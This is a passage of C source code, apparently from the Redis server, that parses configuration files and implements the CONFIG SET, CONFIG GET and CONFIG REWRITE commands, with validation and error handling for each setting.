(!strcasecmp(argv[0],"cluster-migration-barrier") && argc == 2) { server.cluster_migration_barrier = atoi(argv[1]); if (server.cluster_migration_barrier < 0) { err = "cluster migration barrier must zero or positive"; goto loaderr; } } else if (!strcasecmp(argv[0],"cluster-slave-validity-factor") && argc == 2) { server.cluster_slave_validity_factor = atoi(argv[1]); if (server.cluster_slave_validity_factor < 0) { err = "cluster slave validity factor must be zero or positive"; goto loaderr; } } else if (!strcasecmp(argv[0],"lua-time-limit") && argc == 2) { server.lua_time_limit = strtoll(argv[1],NULL,10); } else if (!strcasecmp(argv[0],"slowlog-log-slower-than") && argc == 2) { server.slowlog_log_slower_than = strtoll(argv[1],NULL,10); } else if (!strcasecmp(argv[0],"latency-monitor-threshold") && argc == 2) { server.latency_monitor_threshold = strtoll(argv[1],NULL,10); if (server.latency_monitor_threshold < 0) { err = "The latency threshold can't be negative"; goto loaderr; } } else if (!strcasecmp(argv[0],"slowlog-max-len") && argc == 2) { server.slowlog_max_len = strtoll(argv[1],NULL,10); } else if (!strcasecmp(argv[0],"client-output-buffer-limit") && argc == 5) { int class = getClientTypeByName(argv[1]); unsigned long long hard, soft; int soft_seconds; if (class == -1 || class == CLIENT_TYPE_MASTER) { err = "Unrecognized client limit class: the user specified " "an invalid one, or 'master' which has no buffer limits."; goto loaderr; } hard = memtoll(argv[2],NULL); soft = memtoll(argv[3],NULL); soft_seconds = atoi(argv[4]); if (soft_seconds < 0) { err = "Negative number of seconds in soft limit is invalid"; goto loaderr; } server.client_obuf_limits[class].hard_limit_bytes = hard; server.client_obuf_limits[class].soft_limit_bytes = soft; server.client_obuf_limits[class].soft_limit_seconds = soft_seconds; } else if (!strcasecmp(argv[0],"stop-writes-on-bgsave-error") && argc == 2) { if ((server.stop_writes_on_bgsave_err = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"slave-priority") && argc == 2) { server.slave_priority = atoi(argv[1]); } else if (!strcasecmp(argv[0],"slave-announce-ip") && argc == 2) { zfree(server.slave_announce_ip); server.slave_announce_ip = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"slave-announce-port") && argc == 2) { server.slave_announce_port = atoi(argv[1]); if (server.slave_announce_port < 0 || server.slave_announce_port > 65535) { err = "Invalid port"; goto loaderr; } } else if (!strcasecmp(argv[0],"min-slaves-to-write") && argc == 2) { server.repl_min_slaves_to_write = atoi(argv[1]); if (server.repl_min_slaves_to_write < 0) { err = "Invalid value for min-slaves-to-write."; goto loaderr; } } else if (!strcasecmp(argv[0],"min-slaves-max-lag") && argc == 2) { server.repl_min_slaves_max_lag = atoi(argv[1]); if (server.repl_min_slaves_max_lag < 0) { err = "Invalid value for min-slaves-max-lag."; goto loaderr; } } else if (!strcasecmp(argv[0],"notify-keyspace-events") && argc == 2) { int flags = keyspaceEventsStringToFlags(argv[1]); if (flags == -1) { err = "Invalid event class character. Use 'g$lshzxeA'."; goto loaderr; } server.notify_keyspace_events = flags; } else if (!strcasecmp(argv[0],"supervised") && argc == 2) { server.supervised_mode = configEnumGetValue(supervised_mode_enum,argv[1]); if (server.supervised_mode == INT_MIN) { err = "Invalid option for 'supervised'. " "Allowed values: 'upstart', 'systemd', 'auto', or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"loadmodule") && argc >= 2) { queueLoadModule(argv[1],&argv[2],argc-2); } else if (!strcasecmp(argv[0],"sentinel")) { /* argc == 1 is handled by main() as we need to enter the sentinel * mode ASAP. */ if (argc != 1) { if (!server.sentinel_mode) { err = "sentinel directive while not in sentinel mode"; goto loaderr; } err = sentinelHandleConfiguration(argv+1,argc-1); if (err) goto loaderr; } } else { err = "Bad directive or wrong number of arguments"; goto loaderr; } sdsfreesplitres(argv,argc); } /* Sanity checks. */ if (server.cluster_enabled && server.masterhost) { linenum = slaveof_linenum; i = linenum-1; err = "slaveof directive not allowed in cluster mode"; goto loaderr; } sdsfreesplitres(lines,totlines); return; loaderr: fprintf(stderr, "\n*** FATAL CONFIG FILE ERROR ***\n"); fprintf(stderr, "Reading the configuration file, at line %d\n", linenum); fprintf(stderr, ">>> '%s'\n", lines[i]); fprintf(stderr, "%s\n", err); exit(1); } /* Load the server configuration from the specified filename. * The function appends the additional configuration directives stored * in the 'options' string to the config file before loading. * * Both filename and options can be NULL, in such a case are considered * empty. This way loadServerConfig can be used to just load a file or * just load a string. */ void loadServerConfig(char *filename, char *options) { sds config = sdsempty(); char buf[CONFIG_MAX_LINE+1]; /* Load the file content */ if (filename) { FILE *fp; if (filename[0] == '-' && filename[1] == '\0') { fp = stdin; } else { if ((fp = fopen(filename,"r")) == NULL) { serverLog(LL_WARNING, "Fatal error, can't open config file '%s'", filename); exit(1); } } while(fgets(buf,CONFIG_MAX_LINE+1,fp) != NULL) config = sdscat(config,buf); if (fp != stdin) fclose(fp); } /* Append the additional options */ if (options) { config = sdscat(config,"\n"); config = sdscat(config,options); } loadServerConfigFromString(config); sdsfree(config); } /*----------------------------------------------------------------------------- * CONFIG SET implementation *----------------------------------------------------------------------------*/ #define config_set_bool_field(_name,_var) \ } else if (!strcasecmp(c->argv[2]->ptr,_name)) { \ int yn = yesnotoi(o->ptr); \ if (yn == -1) goto badfmt; \ _var = yn; #define config_set_numerical_field(_name,_var,min,max) \ } else if (!strcasecmp(c->argv[2]->ptr,_name)) { \ if (getLongLongFromObject(o,&ll) == C_ERR) goto badfmt; \ if (min != LLONG_MIN && ll < min) goto badfmt; \ if (max != LLONG_MAX && ll > max) goto badfmt; \ _var = ll; #define config_set_memory_field(_name,_var) \ } else if (!strcasecmp(c->argv[2]->ptr,_name)) { \ ll = memtoll(o->ptr,&err); \ if (err || ll < 0) goto badfmt; \ _var = ll; #define config_set_enum_field(_name,_var,_enumvar) \ } else if (!strcasecmp(c->argv[2]->ptr,_name)) { \ int enumval = configEnumGetValue(_enumvar,o->ptr); \ if (enumval == INT_MIN) goto badfmt; \ _var = enumval; #define config_set_special_field(_name) \ } else if (!strcasecmp(c->argv[2]->ptr,_name)) { #define config_set_else } else void configSetCommand(client *c) { robj *o; long long ll; int err; serverAssertWithInfo(c,c->argv[2],sdsEncodedObject(c->argv[2])); serverAssertWithInfo(c,c->argv[3],sdsEncodedObject(c->argv[3])); o = c->argv[3]; if (0) { /* this starts the config_set macros else-if chain. */ /* Special fields that can't be handled with general macros. */ config_set_special_field("dbfilename") { if (!pathIsBaseName(o->ptr)) { addReplyError(c, "dbfilename can't be a path, just a filename"); return; } zfree(server.rdb_filename); server.rdb_filename = zstrdup(o->ptr); } config_set_special_field("requirepass") { if (sdslen(o->ptr) > CONFIG_AUTHPASS_MAX_LEN) goto badfmt; zfree(server.requirepass); server.requirepass = ((char*)o->ptr)[0] ? zstrdup(o->ptr) : NULL; } config_set_special_field("masterauth") { zfree(server.masterauth); server.masterauth = ((char*)o->ptr)[0] ? zstrdup(o->ptr) : NULL; } config_set_special_field("cluster-announce-ip") { zfree(server.cluster_announce_ip); server.cluster_announce_ip = ((char*)o->ptr)[0] ? zstrdup(o->ptr) : NULL; } config_set_special_field("maxclients") { int orig_value = server.maxclients; if (getLongLongFromObject(o,&ll) == C_ERR || ll < 1) goto badfmt; /* Try to check if the OS is capable of supporting so many FDs. */ server.maxclients = ll; if (ll > orig_value) { adjustOpenFilesLimit(); if (server.maxclients != ll) { addReplyErrorFormat(c,"The operating system is not able to handle the specified number of clients, try with %d", server.maxclients); server.maxclients = orig_value; return; } if ((unsigned int) aeGetSetSize(server.el) < server.maxclients + CONFIG_FDSET_INCR) { if (aeResizeSetSize(server.el, server.maxclients + CONFIG_FDSET_INCR) == AE_ERR) { addReplyError(c,"The event loop API used by Redis is not able to handle the specified number of clients"); server.maxclients = orig_value; return; } } } } config_set_special_field("appendonly") { int enable = yesnotoi(o->ptr); if (enable == -1) goto badfmt; if (enable == 0 && server.aof_state != AOF_OFF) { stopAppendOnly(); } else if (enable && server.aof_state == AOF_OFF) { if (startAppendOnly() == C_ERR) { addReplyError(c, "Unable to turn on AOF. Check server logs."); return; } } } config_set_special_field("save") { int vlen, j; sds *v = sdssplitlen(o->ptr,sdslen(o->ptr)," ",1,&vlen); /* Perform sanity check before setting the new config: * - Even number of args * - Seconds >= 1, changes >= 0 */ if (vlen & 1) { sdsfreesplitres(v,vlen); goto badfmt; } for (j = 0; j < vlen; j++) { char *eptr; long val; val = strtoll(v[j], &eptr, 10); if (eptr[0] != '\0' || ((j & 1) == 0 && val < 1) || ((j & 1) == 1 && val < 0)) { sdsfreesplitres(v,vlen); goto badfmt; } } /* Finally set the new config */ resetServerSaveParams(); for (j = 0; j < vlen; j += 2) { time_t seconds; int changes; seconds = strtoll(v[j],NULL,10); changes = strtoll(v[j+1],NULL,10); appendServerSaveParams(seconds, changes); } sdsfreesplitres(v,vlen); } config_set_special_field("dir") { if (chdir((char*)o->ptr) == -1) { addReplyErrorFormat(c,"Changing directory: %s", strerror(errno)); return; } } config_set_special_field("client-output-buffer-limit") { int vlen, j; sds *v = sdssplitlen(o->ptr,sdslen(o->ptr)," ",1,&vlen); /* We need a multiple of 4: <class> <hard> <soft> <soft_seconds> */ if (vlen % 4) { sdsfreesplitres(v,vlen); goto badfmt; } /* Sanity check of single arguments, so that we either refuse the * whole configuration string or accept it all, even if a single * error in a single client class is present. */ for (j = 0; j < vlen; j++) { long val; if ((j % 4) == 0) { int class = getClientTypeByName(v[j]); if (class == -1 || class == CLIENT_TYPE_MASTER) { sdsfreesplitres(v,vlen); goto badfmt; } } else { val = memtoll(v[j], &err); if (err || val < 0) { sdsfreesplitres(v,vlen); goto badfmt; } } } /* Finally set the new config */ for (j = 0; j < vlen; j += 4) { int class; unsigned long long hard, soft; int soft_seconds; class = getClientTypeByName(v[j]); hard = strtoll(v[j+1],NULL,10); soft = strtoll(v[j+2],NULL,10); soft_seconds = strtoll(v[j+3],NULL,10); server.client_obuf_limits[class].hard_limit_bytes = hard; server.client_obuf_limits[class].soft_limit_bytes = soft; server.client_obuf_limits[class].soft_limit_seconds = soft_seconds; } sdsfreesplitres(v,vlen); } config_set_special_field("notify-keyspace-events") { int flags = keyspaceEventsStringToFlags(o->ptr); if (flags == -1) goto badfmt; server.notify_keyspace_events = flags; } config_set_special_field("slave-announce-ip") { zfree(server.slave_announce_ip); server.slave_announce_ip = ((char*)o->ptr)[0] ? zstrdup(o->ptr) : NULL; /* Boolean fields. * config_set_bool_field(name,var). */ } config_set_bool_field( "rdbcompression", server.rdb_compression) { } config_set_bool_field( "repl-disable-tcp-nodelay",server.repl_disable_tcp_nodelay) { } config_set_bool_field( "repl-diskless-sync",server.repl_diskless_sync) { } config_set_bool_field( "cluster-require-full-coverage",server.cluster_require_full_coverage) { } config_set_bool_field( "aof-rewrite-incremental-fsync",server.aof_rewrite_incremental_fsync) { } config_set_bool_field( "aof-load-truncated",server.aof_load_truncated) { } config_set_bool_field( "aof-use-rdb-preamble",server.aof_use_rdb_preamble) { } config_set_bool_field( "slave-serve-stale-data",server.repl_serve_stale_data) { } config_set_bool_field( "slave-read-only",server.repl_slave_ro) { } config_set_bool_field( "activerehashing",server.activerehashing) { } config_set_bool_field( "activedefrag",server.active_defrag_enabled) { #ifndef HAVE_DEFRAG if (server.active_defrag_enabled) { server.active_defrag_enabled = 0; addReplyError(c, "Active defragmentation cannot be enabled: it requires a " "Redis server compiled with a modified Jemalloc like the " "one shipped by default with the Redis source distribution"); return; } #endif } config_set_bool_field( "protected-mode",server.protected_mode) { } config_set_bool_field( "stop-writes-on-bgsave-error",server.stop_writes_on_bgsave_err) { } config_set_bool_field( "lazyfree-lazy-eviction",server.lazyfree_lazy_eviction) { } config_set_bool_field( "lazyfree-lazy-expire",server.lazyfree_lazy_expire) { } config_set_bool_field( "lazyfree-lazy-server-del",server.lazyfree_lazy_server_del) { } config_set_bool_field( "slave-lazy-flush",server.repl_slave_lazy_flush) { } config_set_bool_field( "no-appendfsync-on-rewrite",server.aof_no_fsync_on_rewrite) { /* Numerical fields. * config_set_numerical_field(name,var,min,max) */ } config_set_numerical_field( "tcp-keepalive",server.tcpkeepalive,0,LLONG_MAX) { } config_set_numerical_field( "maxmemory-samples",server.maxmemory_samples,1,LLONG_MAX) { } config_set_numerical_field( "lfu-log-factor",server.lfu_log_factor,0,LLONG_MAX) { } config_set_numerical_field( "lfu-decay-time",server.lfu_decay_time,0,LLONG_MAX) { } config_set_numerical_field( "timeout",server.maxidletime,0,LONG_MAX) { } config_set_numerical_field( "active-defrag-threshold-lower",server.active_defrag_threshold_lower,0,1000) { } config_set_numerical_field( "active-defrag-threshold-upper",server.active_defrag_threshold_upper,0,1000) { } config_set_memory_field( "active-defrag-ignore-bytes",server.active_defrag_ignore_bytes) { } config_set_numerical_field( "active-defrag-cycle-min",server.active_defrag_cycle_min,1,99) { } config_set_numerical_field( "active-defrag-cycle-max",server.active_defrag_cycle_max,1,99) { } config_set_numerical_field( "auto-aof-rewrite-percentage",server.aof_rewrite_perc,0,LLONG_MAX){ } config_set_numerical_field( "hash-max-ziplist-entries",server.hash_max_ziplist_entries,0,LLONG_MAX) { } config_set_numerical_field( "hash-max-ziplist-value",server.hash_max_ziplist_value,0,LLONG_MAX) { } config_set_numerical_field( "list-max-ziplist-size",server.list_max_ziplist_size,INT_MIN,INT_MAX) { } config_set_numerical_field( "list-compress-depth",server.list_compress_depth,0,INT_MAX) { } config_set_numerical_field( "set-max-intset-entries",server.set_max_intset_entries,0,LLONG_MAX) { } config_set_numerical_field( "zset-max-ziplist-entries",server.zset_max_ziplist_entries,0,LLONG_MAX) { } config_set_numerical_field( "zset-max-ziplist-value",server.zset_max_ziplist_value,0,LLONG_MAX) { } config_set_numerical_field( "hll-sparse-max-bytes",server.hll_sparse_max_bytes,0,LLONG_MAX) { } config_set_numerical_field( "lua-time-limit",server.lua_time_limit,0,LLONG_MAX) { } config_set_numerical_field( "slowlog-log-slower-than",server.slowlog_log_slower_than,0,LLONG_MAX) { } config_set_numerical_field( "slowlog-max-len",ll,0,LLONG_MAX) { /* Cast to unsigned. */ server.slowlog_max_len = (unsigned)ll; } config_set_numerical_field( "latency-monitor-threshold",server.latency_monitor_threshold,0,LLONG_MAX){ } config_set_numerical_field( "repl-ping-slave-period",server.repl_ping_slave_period,1,LLONG_MAX) { } config_set_numerical_field( "repl-timeout",server.repl_timeout,1,LLONG_MAX) { } config_set_numerical_field( "repl-backlog-ttl",server.repl_backlog_time_limit,0,LLONG_MAX) { } config_set_numerical_field( "repl-diskless-sync-delay",server.repl_diskless_sync_delay,0,LLONG_MAX) { } config_set_numerical_field( "slave-priority",server.slave_priority,0,LLONG_MAX) { } config_set_numerical_field( "slave-announce-port",server.slave_announce_port,0,65535) { } config_set_numerical_field( "min-slaves-to-write",server.repl_min_slaves_to_write,0,LLONG_MAX) { refreshGoodSlavesCount(); } config_set_numerical_field( "min-slaves-max-lag",server.repl_min_slaves_max_lag,0,LLONG_MAX) { refreshGoodSlavesCount(); } config_set_numerical_field( "cluster-node-timeout",server.cluster_node_timeout,0,LLONG_MAX) { } config_set_numerical_field( "cluster-announce-port",server.cluster_announce_port,0,65535) { } config_set_numerical_field( "cluster-announce-bus-port",server.cluster_announce_bus_port,0,65535) { } config_set_numerical_field( "cluster-migration-barrier",server.cluster_migration_barrier,0,LLONG_MAX){ } config_set_numerical_field( "cluster-slave-validity-factor",server.cluster_slave_validity_factor,0,LLONG_MAX) { } config_set_numerical_field( "hz",server.hz,0,LLONG_MAX) { /* Hz is more an hint from the user, so we accept values out of range * but cap them to reasonable values. */ if (server.hz < CONFIG_MIN_HZ) server.hz = CONFIG_MIN_HZ; if (server.hz > CONFIG_MAX_HZ) server.hz = CONFIG_MAX_HZ; } config_set_numerical_field( "watchdog-period",ll,0,LLONG_MAX) { if (ll) enableWatchdog(ll); else disableWatchdog(); /* Memory fields. * config_set_memory_field(name,var) */ } config_set_memory_field("maxmemory",server.maxmemory) { if (server.maxmemory) { if (server.maxmemory < zmalloc_used_memory()) { serverLog(LL_WARNING,"WARNING: the new maxmemory value set via CONFIG SET is smaller than the current memory usage. This will result in keys eviction and/or inability to accept new write commands depending on the maxmemory-policy."); } freeMemoryIfNeeded(); } } config_set_memory_field("repl-backlog-size",ll) { resizeReplicationBacklog(ll); } config_set_memory_field("auto-aof-rewrite-min-size",ll) { server.aof_rewrite_min_size = ll; /* Enumeration fields. * config_set_enum_field(name,var,enum_var) */ } config_set_enum_field( "loglevel",server.verbosity,loglevel_enum) { } config_set_enum_field( "maxmemory-policy",server.maxmemory_policy,maxmemory_policy_enum) { } config_set_enum_field( "appendfsync",server.aof_fsync,aof_fsync_enum) { /* Everyhing else is an error... */ } config_set_else { addReplyErrorFormat(c,"Unsupported CONFIG parameter: %s", (char*)c->argv[2]->ptr); return; } /* On success we just return a generic OK for all the options. */ addReply(c,shared.ok); return; badfmt: /* Bad format errors */ addReplyErrorFormat(c,"Invalid argument '%s' for CONFIG SET '%s'", (char*)o->ptr, (char*)c->argv[2]->ptr); } /*----------------------------------------------------------------------------- * CONFIG GET implementation *----------------------------------------------------------------------------*/ #define config_get_string_field(_name,_var) do { \ if (stringmatch(pattern,_name,1)) { \ addReplyBulkCString(c,_name); \ addReplyBulkCString(c,_var ? _var : ""); \ matches++; \ } \ } while(0); #define config_get_bool_field(_name,_var) do { \ if (stringmatch(pattern,_name,1)) { \ addReplyBulkCString(c,_name); \ addReplyBulkCString(c,_var ? "yes" : "no"); \ matches++; \ } \ } while(0); #define config_get_numerical_field(_name,_var) do { \ if (stringmatch(pattern,_name,1)) { \ ll2string(buf,sizeof(buf),_var); \ addReplyBulkCString(c,_name); \ addReplyBulkCString(c,buf); \ matches++; \ } \ } while(0); #define config_get_enum_field(_name,_var,_enumvar) do { \ if (stringmatch(pattern,_name,1)) { \ addReplyBulkCString(c,_name); \ addReplyBulkCString(c,configEnumGetNameOrUnknown(_enumvar,_var)); \ matches++; \ } \ } while(0); void configGetCommand(client *c) { robj *o = c->argv[2]; void *replylen = addDeferredMultiBulkLength(c); char *pattern = o->ptr; char buf[128]; int matches = 0; serverAssertWithInfo(c,o,sdsEncodedObject(o)); /* String values */ config_get_string_field("dbfilename",server.rdb_filename); config_get_string_field("requirepass",server.requirepass); config_get_string_field("masterauth",server.masterauth); config_get_string_field("cluster-announce-ip",server.cluster_announce_ip); config_get_string_field("unixsocket",server.unixsocket); config_get_string_field("logfile",server.logfile); config_get_string_field("pidfile",server.pidfile); config_get_string_field("slave-announce-ip",server.slave_announce_ip); /* Numerical values */ config_get_numerical_field("maxmemory",server.maxmemory); config_get_numerical_field("maxmemory-samples",server.maxmemory_samples); config_get_numerical_field("lfu-log-factor",server.lfu_log_factor); config_get_numerical_field("lfu-decay-time",server.lfu_decay_time); config_get_numerical_field("timeout",server.maxidletime); config_get_numerical_field("active-defrag-threshold-lower",server.active_defrag_threshold_lower); config_get_numerical_field("active-defrag-threshold-upper",server.active_defrag_threshold_upper); config_get_numerical_field("active-defrag-ignore-bytes",server.active_defrag_ignore_bytes); config_get_numerical_field("active-defrag-cycle-min",server.active_defrag_cycle_min); config_get_numerical_field("active-defrag-cycle-max",server.active_defrag_cycle_max); config_get_numerical_field("auto-aof-rewrite-percentage", server.aof_rewrite_perc); config_get_numerical_field("auto-aof-rewrite-min-size", server.aof_rewrite_min_size); config_get_numerical_field("hash-max-ziplist-entries", server.hash_max_ziplist_entries); config_get_numerical_field("hash-max-ziplist-value", server.hash_max_ziplist_value); config_get_numerical_field("list-max-ziplist-size", server.list_max_ziplist_size); config_get_numerical_field("list-compress-depth", server.list_compress_depth); config_get_numerical_field("set-max-intset-entries", server.set_max_intset_entries); config_get_numerical_field("zset-max-ziplist-entries", server.zset_max_ziplist_entries); config_get_numerical_field("zset-max-ziplist-value", server.zset_max_ziplist_value); config_get_numerical_field("hll-sparse-max-bytes", server.hll_sparse_max_bytes); config_get_numerical_field("lua-time-limit",server.lua_time_limit); config_get_numerical_field("slowlog-log-slower-than", server.slowlog_log_slower_than); config_get_numerical_field("latency-monitor-threshold", server.latency_monitor_threshold); config_get_numerical_field("slowlog-max-len", server.slowlog_max_len); config_get_numerical_field("port",server.port); config_get_numerical_field("cluster-announce-port",server.cluster_announce_port); config_get_numerical_field("cluster-announce-bus-port",server.cluster_announce_bus_port); config_get_numerical_field("tcp-backlog",server.tcp_backlog); config_get_numerical_field("databases",server.dbnum); config_get_numerical_field("repl-ping-slave-period",server.repl_ping_slave_period); config_get_numerical_field("repl-timeout",server.repl_timeout); config_get_numerical_field("repl-backlog-size",server.repl_backlog_size); config_get_numerical_field("repl-backlog-ttl",server.repl_backlog_time_limit); config_get_numerical_field("maxclients",server.maxclients); config_get_numerical_field("watchdog-period",server.watchdog_period); config_get_numerical_field("slave-priority",server.slave_priority); config_get_numerical_field("slave-announce-port",server.slave_announce_port); config_get_numerical_field("min-slaves-to-write",server.repl_min_slaves_to_write); config_get_numerical_field("min-slaves-max-lag",server.repl_min_slaves_max_lag); config_get_numerical_field("hz",server.hz); config_get_numerical_field("cluster-node-timeout",server.cluster_node_timeout); config_get_numerical_field("cluster-migration-barrier",server.cluster_migration_barrier); config_get_numerical_field("cluster-slave-validity-factor",server.cluster_slave_validity_factor); config_get_numerical_field("repl-diskless-sync-delay",server.repl_diskless_sync_delay); config_get_numerical_field("tcp-keepalive",server.tcpkeepalive); /* Bool (yes/no) values */ config_get_bool_field("cluster-require-full-coverage", server.cluster_require_full_coverage); config_get_bool_field("no-appendfsync-on-rewrite", server.aof_no_fsync_on_rewrite); config_get_bool_field("slave-serve-stale-data", server.repl_serve_stale_data); config_get_bool_field("slave-read-only", server.repl_slave_ro); config_get_bool_field("stop-writes-on-bgsave-error", server.stop_writes_on_bgsave_err); config_get_bool_field("daemonize", server.daemonize); config_get_bool_field("rdbcompression", server.rdb_compression); config_get_bool_field("rdbchecksum", server.rdb_checksum); config_get_bool_field("activerehashing", server.activerehashing); config_get_bool_field("activedefrag", server.active_defrag_enabled); config_get_bool_field("protected-mode", server.protected_mode); config_get_bool_field("repl-disable-tcp-nodelay", server.repl_disable_tcp_nodelay); config_get_bool_field("repl-diskless-sync", server.repl_diskless_sync); config_get_bool_field("aof-rewrite-incremental-fsync", server.aof_rewrite_incremental_fsync); config_get_bool_field("aof-load-truncated", server.aof_load_truncated); config_get_bool_field("aof-use-rdb-preamble", server.aof_use_rdb_preamble); config_get_bool_field("lazyfree-lazy-eviction", server.lazyfree_lazy_eviction); config_get_bool_field("lazyfree-lazy-expire", server.lazyfree_lazy_expire); config_get_bool_field("lazyfree-lazy-server-del", server.lazyfree_lazy_server_del); config_get_bool_field("slave-lazy-flush", server.repl_slave_lazy_flush); /* Enum values */ config_get_enum_field("maxmemory-policy", server.maxmemory_policy,maxmemory_policy_enum); config_get_enum_field("loglevel", server.verbosity,loglevel_enum); config_get_enum_field("supervised", server.supervised_mode,supervised_mode_enum); config_get_enum_field("appendfsync", server.aof_fsync,aof_fsync_enum); config_get_enum_field("syslog-facility", server.syslog_facility,syslog_facility_enum); /* Everything we can't handle with macros follows. */ if (stringmatch(pattern,"appendonly",1)) { addReplyBulkCString(c,"appendonly"); addReplyBulkCString(c,server.aof_state == AOF_OFF ? "no" : "yes"); matches++; } if (stringmatch(pattern,"dir",1)) { char buf[1024]; if (getcwd(buf,sizeof(buf)) == NULL) buf[0] = '\0'; addReplyBulkCString(c,"dir"); addReplyBulkCString(c,buf); matches++; } if (stringmatch(pattern,"save",1)) { sds buf = sdsempty(); int j; for (j = 0; j < server.saveparamslen; j++) { buf = sdscatprintf(buf,"%jd %d", (intmax_t)server.saveparams[j].seconds, server.saveparams[j].changes); if (j != server.saveparamslen-1) buf = sdscatlen(buf," ",1); } addReplyBulkCString(c,"save"); addReplyBulkCString(c,buf); sdsfree(buf); matches++; } if (stringmatch(pattern,"client-output-buffer-limit",1)) { sds buf = sdsempty(); int j; for (j = 0; j < CLIENT_TYPE_OBUF_COUNT; j++) { buf = sdscatprintf(buf,"%s %llu %llu %ld", getClientTypeName(j), server.client_obuf_limits[j].hard_limit_bytes, server.client_obuf_limits[j].soft_limit_bytes, (long) server.client_obuf_limits[j].soft_limit_seconds); if (j != CLIENT_TYPE_OBUF_COUNT-1) buf = sdscatlen(buf," ",1); } addReplyBulkCString(c,"client-output-buffer-limit"); addReplyBulkCString(c,buf); sdsfree(buf); matches++; } if (stringmatch(pattern,"unixsocketperm",1)) { char buf[32]; snprintf(buf,sizeof(buf),"%o",server.unixsocketperm); addReplyBulkCString(c,"unixsocketperm"); addReplyBulkCString(c,buf); matches++; } if (stringmatch(pattern,"slaveof",1)) { char buf[256]; addReplyBulkCString(c,"slaveof"); if (server.masterhost) snprintf(buf,sizeof(buf),"%s %d", server.masterhost, server.masterport); else buf[0] = '\0'; addReplyBulkCString(c,buf); matches++; } if (stringmatch(pattern,"notify-keyspace-events",1)) { robj *flagsobj = createObject(OBJ_STRING, keyspaceEventsFlagsToString(server.notify_keyspace_events)); addReplyBulkCString(c,"notify-keyspace-events"); addReplyBulk(c,flagsobj); decrRefCount(flagsobj); matches++; } if (stringmatch(pattern,"bind",1)) { sds aux = sdsjoin(server.bindaddr,server.bindaddr_count," "); addReplyBulkCString(c,"bind"); addReplyBulkCString(c,aux); sdsfree(aux); matches++; } setDeferredMultiBulkLength(c,replylen,matches*2); } /*----------------------------------------------------------------------------- * CONFIG REWRITE implementation *----------------------------------------------------------------------------*/ #define REDIS_CONFIG_REWRITE_SIGNATURE "# Generated by CONFIG REWRITE" /* We use the following dictionary type to store where a configuration * option is mentioned in the old configuration file, so it's * like "maxmemory" -> list of line numbers (first line is zero). */ uint64_t dictSdsCaseHash(const void *key); int dictSdsKeyCaseCompare(void *privdata, const void *key1, const void *key2); void dictSdsDestructor(void *privdata, void *val); void dictListDestructor(void *privdata, void *val); /* Sentinel config rewriting is implemented inside sentinel.c by * rewriteConfigSentinelOption(). */ void rewriteConfigSentinelOption(struct rewriteConfigState *state); dictType optionToLineDictType = { dictSdsCaseHash, /* hash function */ NULL, /* key dup */ NULL, /* val dup */ dictSdsKeyCaseCompare, /* key compare */ dictSdsDestructor, /* key destructor */ dictListDestructor /* val destructor */ }; dictType optionSetDictType = { dictSdsCaseHash, /* hash function */ NULL, /* key dup */ NULL, /* val dup */ dictSdsKeyCaseCompare, /* key compare */ dictSdsDestructor, /* key destructor */ NULL /* val destructor */ }; /* The config rewrite state. */ struct rewriteConfigState { dict *option_to_line; /* Option -> list of config file lines map */ dict *rewritten; /* Dictionary of already processed options */ int numlines; /* Number of lines in current config */ sds *lines; /* Current lines as an array of sds strings */ int has_tail; /* True if we already added directives that were not present in the original config file. */ }; /* Append the new line to the current configuration state. */ void rewriteConfigAppendLine(struct rewriteConfigState *state, sds line) { state->lines = zrealloc(state->lines, sizeof(char*) * (state->numlines+1)); state->lines[state->numlines++] = line; } /* Populate the option -> list of line numbers map. */ void rewriteConfigAddLineNumberToOption(struct rewriteConfigState *state, sds option, int linenum) { list *l = dictFetchValue(state->option_to_line,option); if (l == NULL) { l = listCreate(); dictAdd(state->option_to_line,sdsdup(option),l); } listAddNodeTail(l,(void*)(long)linenum); } /* Add the specified option to the set of processed options. * This is useful as only unused lines of processed options will be blanked * in the config file, while options the rewrite process does not understand * remain untouched. */ void rewriteConfigMarkAsProcessed(struct rewriteConfigState *state, const char *option) { sds opt = sdsnew(option); if (dictAdd(state->rewritten,opt,NULL) != DICT_OK) sdsfree(opt); } /* Read the old file, split it into lines to populate a newly created * config rewrite state, and return it to the caller. * * If it is impossible to read the old file, NULL is returned. * If the old file does not exist at all, an empty state is returned. */ struct rewriteConfigState *rewriteConfigReadOldFile(char *path) { FILE *fp = fopen(path,"r"); struct rewriteConfigState *state = zmalloc(sizeof(*state)); char buf[CONFIG_MAX_LINE+1]; int linenum = -1; if (fp == NULL && errno != ENOENT) return NULL; state->option_to_line = dictCreate(&optionToLineDictType,NULL); state->rewritten = dictCreate(&optionSetDictType,NULL); state->numlines = 0; state->lines = NULL; state->has_tail = 0; if (fp == NULL) return state; /* Read the old file line by line, populate the state. */ while(fgets(buf,CONFIG_MAX_LINE+1,fp) != NULL) { int argc; sds *argv; sds line = sdstrim(sdsnew(buf),"\r\n\t "); linenum++; /* Zero based, so we init at -1 */ /* Handle comments and empty lines. */ if (line[0] == '#' || line[0] == '\0') { if (!state->has_tail && !strcmp(line,REDIS_CONFIG_REWRITE_SIGNATURE)) state->has_tail = 1; rewriteConfigAppendLine(state,line); continue; } /* Not a comment, split into arguments. */ argv = sdssplitargs(line,&argc); if (argv == NULL) { /* Apparently the line is unparsable for some reason, for * instance it may have unbalanced quotes. Load it as a * comment. */ sds aux = sdsnew("# ??? "); aux = sdscatsds(aux,line); sdsfree(line); rewriteConfigAppendLine(state,aux); continue; } sdstolower(argv[0]); /* We only want lowercase config directives. */ /* Now we populate the state according to the content of this line. * Append the line and populate the option -> line numbers map. */ rewriteConfigAppendLine(state,line); rewriteConfigAddLineNumberToOption(state,argv[0],linenum); sdsfreesplitres(argv,argc); } fclose(fp); return state; } /* Rewrite the specified configuration option with the new "line". * It progressively uses lines of the file that were already used for the same * configuration option in the old version of the file, removing that line from * the map of options -> line numbers. * * If there are lines associated with a given configuration option and * "force" is non-zero, the line is appended to the configuration file. * Usually "force" is true when an option has not its default value, so it * must be rewritten even if not present previously. * * The first time a line is appended into a configuration file, a comment * is added to show that starting from that point the config file was generated * by CONFIG REWRITE. * * "line" is either used, or freed, so the caller does not need to free it * in any way. */ void rewriteConfigRewriteLine(struct rewriteConfigState *state, const char *option, sds line, int force) { sds o = sdsnew(option); list *l = dictFetchValue(state->option_to_line,o); rewriteConfigMarkAsProcessed(state,option); if (!l && !force) { /* Option not used 